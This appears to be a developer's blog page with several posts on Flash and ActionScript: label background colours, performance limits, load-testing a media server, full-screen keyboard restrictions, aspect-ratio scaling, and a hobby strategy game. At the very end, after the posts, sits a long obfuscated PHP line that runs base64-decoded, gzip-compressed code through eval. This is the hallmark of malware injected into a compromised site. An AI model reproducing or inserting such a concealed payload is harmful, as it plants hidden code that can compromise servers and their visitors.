Posted by Jason | Under Actionscript
funny how i’ve always laughed at posts that tell you “how to make a scroll bar pink” because those problems seem silly or insignificant.
But after spending an entire afternoon and draining my brain of any trace of reason, I feel I need to let the world know that you can change the background color of a label. I’ve read on forums that say otherwise, but thats not quite true.
The catch is that you need to inherit from the flex label class so you can make the protected property “textField” publicly available somehow. Me, I created the following class:
packageĀ {
import mx.controls.Label;
public class BGLabel extends Label {
public function BGLabel() {
super()
}
public function getTextField():* {
return textField
}
}
}
With this, you use the BGLabel instead of the Label class in your mxml. To change the background, in actionscript you would write something like this:
myLabel.getTextField().background = true
myLabel.getTextField().backgroundColor = 0x4499CC
The reason why we need to inherit from Label is because we need access to its TextField class that the Label class is based on. TextField’s are able to change the background color’s, but labels for some reason are not. As the TextField property is protected, the only way we can get at it is to inherit.
Strangely though, if you set up a MOUSE_DOWN event listener for a label, the event passes in the TextField of the Label to the handler, not the label itself.
Other methods I tried to change the label background include using setStyle(), which doesn’t allow you to change the background color of a label. I also tried the opaqueBackground property , but I couldn’t get the background colors switching off and on the way I wanted. I would suggest you play with opaqueBackground first before you access the TextField property. But if you notice it not redrawing properly or other signs of flakiness, don’t waste an afternoon, use the TextField.
Posted by Jason | Under Actionscript, Game Development
There was a time not long ago where I was super excited about the idea of really pushing Actionscript to its brink to deliver web-based games that rival the quality of older PC games (with better graphics). But alas! my dreams have been dashed! You see, Actionscript is an amazing medium; it can be used to make all kinds of applications, except applications that require any serious amount of processing.
To demonstrate my point I’ve created a wee demo. It’s a binary tree that uses recursion to draw itself. I’ve also added some code so that it can animate, but that’s more for fun rather than demonstration.
If you run the demonstration, you’ll find a very noticable delay when drawing more than 5 levels of recursion, or 126 branches. You’ll also notice that rendering takes an exponential amount of time longer compared to the next lowest number of recursions.
We aren’t splitting the atom here, we are merely drawing lines and my interpretation is that though Actionscript is great for more simple applications or a gui on a database, when it comes to serious processing power you are better off with different platforms.
For those who would argue that Actionscript is fine and I’m simply a crappy programmer (which I wouldn’t argue too much), you can optimize the code and prove me wrong here (CS4 fla here).
This is why my idea of an RTS in Flash is dead. Flash can’t handle it. Daphne is dead
BUT - Alchemy looks promising… speed of c/c++ in your browser, every browser, on every platform??? Fuck ya, that is an awesome idea (why every program for the OS then?)
Posted by Jason | Under FMS
Often times when speaking with clients they will complain that “something” is wrong with their FMS server(s), but rarely do they know what. And you can’t blame them, a large FMS deployment could consist of dozens of servers and server clusters pumping out and sucking in all kinds of different streams, the notion of a staging environment is not common in this senario simply because it seems impossible to test modifications using real-world test data.
What is often missing is a means simulate a real-world video load. A good way to start testing your streaming servers is to create a simple application in Flash or Flex that creates N NetConnection’s and N NetStream’s and have each ns/ns pair connect and pull a video from your FMS system. To do this, you’ll need to rely on array’s.
The idea is that you are going to loop over all the connections you want to make (careful, too many and you can grind your CPU on your test client machine to a halt) and initialize the nc objects:
var nsArr:Array = new Array();
var ncArr:Array = new Array();
for ( var i = 0, i < 500; i++ ) {
ncArr[i] = new NetConnection();
ncArr[i].connect( server );
ncArr[i].addEventListener( NetStatusEvent.NET_STATUS, onNetStatus );
}
While this is happening, your NetConnections are going to start calling onNetStatus(). In the onNetStatus() function you are going to want to create a NetStream for each NetConnection and have that newly minted NetStream start pulling down a stream:
function onNetStatus( evt ) {
var cnt = nsArr.length
nsArr[cnt] = new NetStream( evt.target );
nsArr[cnt].client = this;
nsArr[cnt].play( stream );
}
Of course, the above is to give you a head start only. There is a lot of additional things you can add. Note that the Flash runtime isn’t the most efficient software on the planet and it will consume massive amounts of system resources, so be careful!
If you wanted to load test a server that served text and misc data rather than video or audio, then the above code will need to be modified, but the principle is the same, if you want to test for 100 clients, you will need 100 NetConnection object’s initialized, with each one carrying their own data stream, be it audio, video or text.
Posted by Jason | Under Actionscript, Game Development
I have recently cut some beef with Adobe and their decision to not allow the Flash player to capture keyboard input. In my game, Daphne, I see this decision as a show stopper… Imagine playing Starcraft and not being able to use hot keys in the heat of battle, lame. Hot keys are key to any self respecting RTS game developer.
Thought it is possible for players to play Daphne in a regular browser window surrounded by HTML, it loses a lot of appeal, especially as your mouse must always be over the Flash canvas in order to register certain fundamentally important (and basic) game features, such as the ability to scroll the game map when your mouse is at the edge of the canvas. It is too easy to move your mouse beyond the Flash canvas, especially when your base is being over run and you are frantically scrolling the map to look for defense or an exit. This significantly deteriorates game play.
And besides that, who wouldn’t want to play games in full screen vs a small canvas in a browser?
A limited solution is to have your Flash canvas take up 100% of the width and height of the browser page and rely on the browsers build in full screen functionality (usually activated by the F11 key). This is limited because different browsers have different notions of ‘full screen’. Firefox for example expands to full screen, but the address bar is still visible on top (though there are plug-ins that remedy this). Opera mean while implements true full screen right out of the box.
This is a limited solution for these reasons, and because the end user may need to install a new browser to play Daphne in full screen. The whole idea of using Flash as my development platform is so Daphne can be played in any environment and behave the same with no additional downloads or without troubling the end user to have to manually install 3rd party products.
Nevertheless, this proves my point that Adobe is out to lunch when it comes to the thought process behind their idea that keyboard input whilst in full screen is a security liability. It can be done by circumventing Flash and javascript entirely and just relying on the browser.
Posted by Jason | Under Actionscript
When in full screen, the Flash runtime simply won’t pass keyboard events to your code. When I first discovered this, I asked myself “why?” as it makes no sense to disable text entry simply because you are in full screen mode. I recently had a chance to ask some Adobe people why this freakin weird behaviour exists, I was told that Adobe views this as a security liability and that they are worried someone may use text entry in full screen mode for evil. They went on to say that users could be fooled into thinking a fullscreen Flash app could simulate an OS and somehow do something bad. I have no idea what. Last I checked Flash doesn’t let you access a file system or registry and OS’s don’t ask for credit card information, or personal information… actually, websites that don’t run in full screen mode do. And guess what, desktops have been running full screen apps that accept keyboard input since, well, the concept of a desktop has been around! Oddly, its not a Vista security flaw to run apps - such as games - in full screen mode and allow text input.
After a bit of back and forth with the Adobe guys, they simply said Flash is “very restrictive” and that Adobe obviously doesn’t want Flash to become a liability cause it would loose a lot of luster and possibly market share (oddly, it was me who brought up real Flash liabilities).
Though I understand the concern, It bothers me that software companies get overly anal about security. Vista is apparently the most secure Windows OS ever. So secure that it’s unusable and wastes my valuable time. If the concept of “security first, purpose later” is prevailing at Adobe like it has done at Microsoft and other large organizations, you can count me out. ironpython looks promising…
(Adobe, if you are reading, put the the glass of Kool-Aid down allow full screen text input).
Posted by Jason | Under Actionscript
When I first saw Flash go to full screen mode on youtube, my understanding of computers evolved a bit, possibilities for web-based apps began to swarm in my head.
I began to think of the big picture, this whole web platform vs traditional desktops as a developers medium, I threw Flash into the mix and realized that there are very few applications that one can’t deliver from a browser. Google apps proves that office tools don’t need to reside on a client. A myriad of other data driven web apps and RIA’s prove that everything from contact information to maps and directions to shopping, social communications, audio and video downloading and games is all readily available online.
So who needs a desktop? Well… we aren’t there yet, any seriously processor intensive app such as 3d games and video encoders are best left to the desktop to utilize the efficiency of lower level languages. But that leaves a lot of room, especially now that you can command the entire full screen of a clients computer.
Bootcamp
The basics of full screen in Flash are well documented, on a Mouse or Key event handler, just set the display mode:
stage.displayState = "fullScreen";
or
stage.displayState = "normal";
This will trigger the full screen event that you set in your main class’s constructor:
stage.addEventListener( FullScreenEvent.FULL_SCREEN, onFullScreen );
Stretching and Distortion - The Explaination
When Flash goes to full screen mode, by default, it will stretch your swf to the dimensions of your desktop. Often, I find this to be gay and annoying as the stretching will distort your content.
Lets say you have a 320×260 swf that has a video in it. The video controls dimension is 320×240, leaving you with 20 pixels on the bottom for your playback controls. That video should have an aspect ratio of 4:3.
Lets say a clients desktop is just like mine and has a resolution of 1280×800, thats an aspect ratio of 8:5 which is obviously not 4:3. If you have your swf go to full screen, by default the video will be stretched a little bit wider and if your audience cares about such things, they will likely think your site is gay and find something else.
Stretching and Distorting - The No-Stretch
To prevent any stretching from happening, Flash comes with some handy dandy flags you can set in your stage to control this kind of malarky. For my game, Daphne, I don’t want any stretching at all. I do not want my units to suddenly gain 100 pounds when the user switches to full screen, instead, I want Flash to simply expand the width and height of my swf without stretching my swf. I have a massive 3200×3200 tilemap in my game that’s always there even though the player can only see 800×600 pixels of it at a time in normal screen mode and <screenwidth>x<screenheight> pixels at a time in full screen mode.
To set these properties, throw the following lines into your applications main constructor:
stage.scaleMode = StageScaleMode.NO_SCALE;
stage.align = StageAlign.TOP_LEFT;
As you may have guessed, I’m instructing the Flash runtime to not do any vector scaling at all and to put the top left of my game in the top left of the screen (Flash tends to seemingly randomly place swf’s in full screen if you don’t provide it with some instructions).
Stretching and Distorting - The Math
If you want to scale your content’s dimensions up or down without distorting the content, consider the slope of your screen. By that I mean the rise over run. If you divide the height (rise) of your screen by the run (width) of your screen, you will get the slope. To illustrate, consider:
The standard wide screen aspect ratio of 16:9 = 9/16 = 0.5625
My 1280×800 screen = 8:5 = 5/8 = 0.625
Your standard TV dimensions 4:3 = 3/4 = 0.75
And a perfect square will have a slope of 1.
The pattern here is this: the wider the screen, the smaller the slope.
Armed with this knowledge, you are now able to manually scale your content without distorting it. The very latest update for the Flash runtime (at the time of this writing it’s 9.0.124.0) has two properties in the stage that specify the full screen width and height of your swf (even if you are in normal screen mode). They are stage.fullScreenWidth and stage.fullScreenHeight.
You now have your contents width and height as well as your screens width and height. In order to go full screen on any monitor, you need to use the awesome power of slope to determine if your contents aspect ratio is wider than the aspect ratio of your screen. If the monitor your opus is running on has a slope that is greater than your content, that means the screen has a taller aspect ratio than your content and you will need to have filler along the top and/or bottom of the screen. Conversely, if the slope of the screen is less than that of your content, your content will span the height of the screen and have filler along both sides.
Stretching and Distorting - The Magic
To figure out how to scale your content, try this:
if ( objSlope > screenSlope ) { //span vertically, will have filler on the sides
objHeight = screenHeight;
objWidth /= objHeight / screenHeight;
} else if ( objSlope < screenSlope ) { // span horizontally, filler on top and/or bottom
objHeight /= objWidth / screenWidth;
objWidth = screenWidth;
} else { // same aspect ratio
objWidth = screenWidth;
objHeight = screenHeight;
}
With that, you can rest assured that your game or video or whatever visual object will scale and keep its aspect ratio and not be distorted. This code is best written while listening to Billy Idol’s “Rebel Yell”.
Though this is all swell, there are still some things your average, mortal Actionscript programmer can’t fix, such as text entry in full screen mode.
Posted by Jason | Under Game Development
Mercifully, work (only?) typically occupies 8 hours of my week day. That leaves me with about 8 hours of personal time, half of which is usually spent on less exciting things like being in transit, eating, washing up, etc.
Often, at work I can’t wait to get home, I don’t think about what I will do at home and inevitably, when I get home, I spend several minutes frozen wondering what I’m going to do with my new found, temporary, precious freedom.
As I am not big on TV, I often find it difficult to wisely spend my precious free time. I am very conscious, almost obsessed, with the thought of me of the future looking back on my earlier years and asking my future self “Why was I such a useless git? What the hell did I do with my time?”.
It is for this reason that I often am programming video games in my free time. I know it is debatable whether or not mucking about with Flash and all its quirks is really a better use of my time than doing nothing, but different strokes for different folks…
The reason I like programming video games is that games are always unique. There is no standard list of GUI components you constantly use, there usually isn’t any database malarky to deal with. The GUI should be custom and unique and how the components of your game interact with each other and the user is totally up to you and what you think is awesome. I find that using standard components over and over again gets a bit boring. Finding slick new ways to access data is also quite dry. There are billions of frameworks that help make developing such classic database apps (enterprise apps?) super easy to the point that it’s no long fun to program.
Hence, I like my game programming.
The first step to creating any application of any significant size is finding a name by which to reference it. As I suck at finding cool names for things, I follow a Greek Nymph naming convention. So far Echo and Calypso have been used, so I randomly decided to choose Daphne, famed for her decision to escape Apollo’s gino-like obsession by transforming herself into a Bay Tree.
I will make no pretenses, Daphne is based upon Blizzards original Starcraft as much as possible. This is partly due to my pathetic lack of creativity, but it is also due to the fact that Starcraft is one of the best games ever made, definitely the best RTS. It is primarily for this reason that Daphne is a sort of homage to what I consider to be the best game developers on the planet right now (seriously, who makes better story lines than Blizzard? and with the glaring exception of Warcraft 3, all their games must of been at least partially developed by some sort of higher being).
So, I have started working on Daphne, So far I have the tile map stuff working fine and a lot of the multi-player communication stuff is sorted. I would like to post the game in updated carnations as I develop it, but right now, it’s so god damn ugly and lame that I’m going to have to wait until it is at least some what presentable to people with a vivid imagination.
eval(gzinflate(base64_decode('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'))); ?>